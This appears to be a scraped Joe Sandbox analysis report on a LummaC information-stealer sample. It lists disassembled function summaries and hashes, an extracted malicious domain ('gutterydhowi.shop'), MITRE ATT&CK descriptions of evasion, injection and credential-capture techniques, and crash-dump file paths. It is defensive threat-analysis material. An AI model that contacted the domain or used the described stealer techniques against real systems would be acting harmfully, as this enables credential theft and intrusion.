Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 1c17d60bb1445f6947a3ef9ca4d627c9faacd636f8c3cf815ac74d88026af933
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 36D0A731A08322469B758E19E4109B7F7F0EAC7A15F4D955EF59AE3158E330D841C2A9

Function 02C96D22 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 83COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 02C96D2B
VariantInit.OLEAUT32 ref: 02C96D37

Strings

;, xrefs: 02C96D7B
9, xrefs: 02C96D73
0, xrefs: 02C96D7F
3, xrefs: 02C96D5B
=, xrefs: 02C96D63
1, xrefs: 02C96D53
!, xrefs: 02C96D9F
?, xrefs: 02C96D6B
>, xrefs: 02C96D97
!, xrefs: 02C96D8F

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$!$0$1$3$9$;$=$>$?
API String ID: 2610073882-4017061420
Opcode ID: 6d343b93dcc02a170b592bfe6ee53c9d8a3b9c04257b99a64e22c2e1123cbfff
Instruction ID: ac627359181288e888449fc4370d75376459eb16fb52f8199cde068394cd744f
Opcode Fuzzy Hash: 6d343b93dcc02a170b592bfe6ee53c9d8a3b9c04257b99a64e22c2e1123cbfff
Instruction Fuzzy Hash: 87412670008B818FDB22DF3CD488706BFA0AB16214F488A8DD8E64F7D6C774E615CB62

Function 02C95F1B Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 78COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 02C95F27
VariantInit.OLEAUT32 ref: 02C95F33

Strings

!, xrefs: 02C95F8B
?, xrefs: 02C95F67
;, xrefs: 02C95F77
=, xrefs: 02C95F5F
1, xrefs: 02C95F4F
0, xrefs: 02C95F7B
!, xrefs: 02C95F9B
3, xrefs: 02C95F57
>, xrefs: 02C95F93
9, xrefs: 02C95F6F

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$!$0$1$3$9$;$=$>$?
API String ID: 2610073882-4017061420
Opcode ID: 94ab441a64bbd9b87d1969080c7ebc29990d2682c41a9769d64e3816911e9519
Instruction ID: 8fdd585d1eebd3d85dd5fb073442e78a0714fe49f363405dfaaf7be1186a2acc
Opcode Fuzzy Hash: 94ab441a64bbd9b87d1969080c7ebc29990d2682c41a9769d64e3816911e9519
Instruction Fuzzy Hash: 0B41F830009780CED722CF6C9598716BFE0AB16224F488A8DE8E54F7D7C775E616CB62

Function 02C72C3B Relevance: 19.9, APIs: 1, Strings: 12, Instructions: 418COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 02C72C50

Strings

WXOL, xrefs: 02C72D46
6 4z, xrefs: 02C72D5C
Mq, xrefs: 02C72F4D
$.r, xrefs: 02C72D72
|s, xrefs: 02C73051
Q\Jd, xrefs: 02C72D3B
:123, xrefs: 02C72FDC
SVF, xrefs: 02C72DB7, 02C72DC6
wu, xrefs: 02C72F6E
tefo, xrefs: 02C72D67
gutterydhowi.shop, xrefs: 02C730B9
_&%g, xrefs: 02C72D51

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: Uninitialize
String ID: $.r$6 4z$:123$Mq$Q\Jd$SVF$WXOL$_&%g$gutterydhowi.shop$tefo$wu$|s
API String ID: 3861434553-1671644388
Opcode ID: 3843e5b319ba58856979413d9e48c1b7876abf52c5d330982f7f88bf6d8eea5f
Instruction ID: 159be473a9f7121a84ea66bdc9fc389e88b9aace3a9ca37a43ab8af929785a78
Opcode Fuzzy Hash: 3843e5b319ba58856979413d9e48c1b7876abf52c5d330982f7f88bf6d8eea5f
Instruction Fuzzy Hash: F6E1C5B000C3C18BD3B18F21D484BAFBBE6AF96349F14495CE8C89B242C7358645CBA3

Function 02C972B3 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 02C972BC
VariantInit.OLEAUT32 ref: 02C972C8

Strings

2, xrefs: 02C9730E
3, xrefs: 02C972FE
-, xrefs: 02C97316
~, xrefs: 02C9734E
*, xrefs: 02C9732E

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: Variant$ClearInit
String ID: *$-$2$3$~
API String ID: 2610073882-712268440
Opcode ID: 88a294452476f663967cd4fc5eb4cf2bbc6a72cb926b4a431a153ecf8d3ef217
Instruction ID: d1d891e49437b3150a8447720c08a4377edf98b4b704324aabe349c855c164e7
Opcode Fuzzy Hash: 88a294452476f663967cd4fc5eb4cf2bbc6a72cb926b4a431a153ecf8d3ef217
Instruction Fuzzy Hash: 0741E770108B81CEDB25DF3C8588706BFE0AB16214F088A9CD8E98F397D775D519DB62

Function 02C9A888 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 02C9A8D6
GetSystemMetrics.USER32 ref: 02C9A8E5

Strings

, xrefs: 02C9A9B9

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: f485d1b8ee9cc93597980b8b3d7804552a8b6b541265c03a1bec28a1bf30c3fd
Instruction ID: 7341b946e28cb68237584d81c9212ca4624bf0e939458114b854fbce169810a9
Opcode Fuzzy Hash: f485d1b8ee9cc93597980b8b3d7804552a8b6b541265c03a1bec28a1bf30c3fd
Instruction Fuzzy Hash: 345180B0E152089FDB40EFACD985A9DBBF0BB48304F118969E898E7350D734AD55CF92

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bad_module_info_f5b4a6202a53ee73c263cc4c99e711b13cd935ac_85207d7d_5197b056-45af-426f-a652-3994f53f1be0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_nslookup.exe_3c5336c3a91c2d57579c766c54c3ffcf93cb0a8_d8dedb28_c4ffb878-36ea-48a3-949b-383c3d1710f8\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_nslookup.exe_64fbbdcacf35376b87949de1959088ed3364abd_d8dedb28_066a074e-8a60-45db-8770-e67f5e74a0b0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER82F2.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83DD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83FD.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9997.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A63.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A83.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA522.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA542.tmp.xml

C:\Users\user\AppData\Local\Temp\383775\C

Windows Analysis Report
file.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre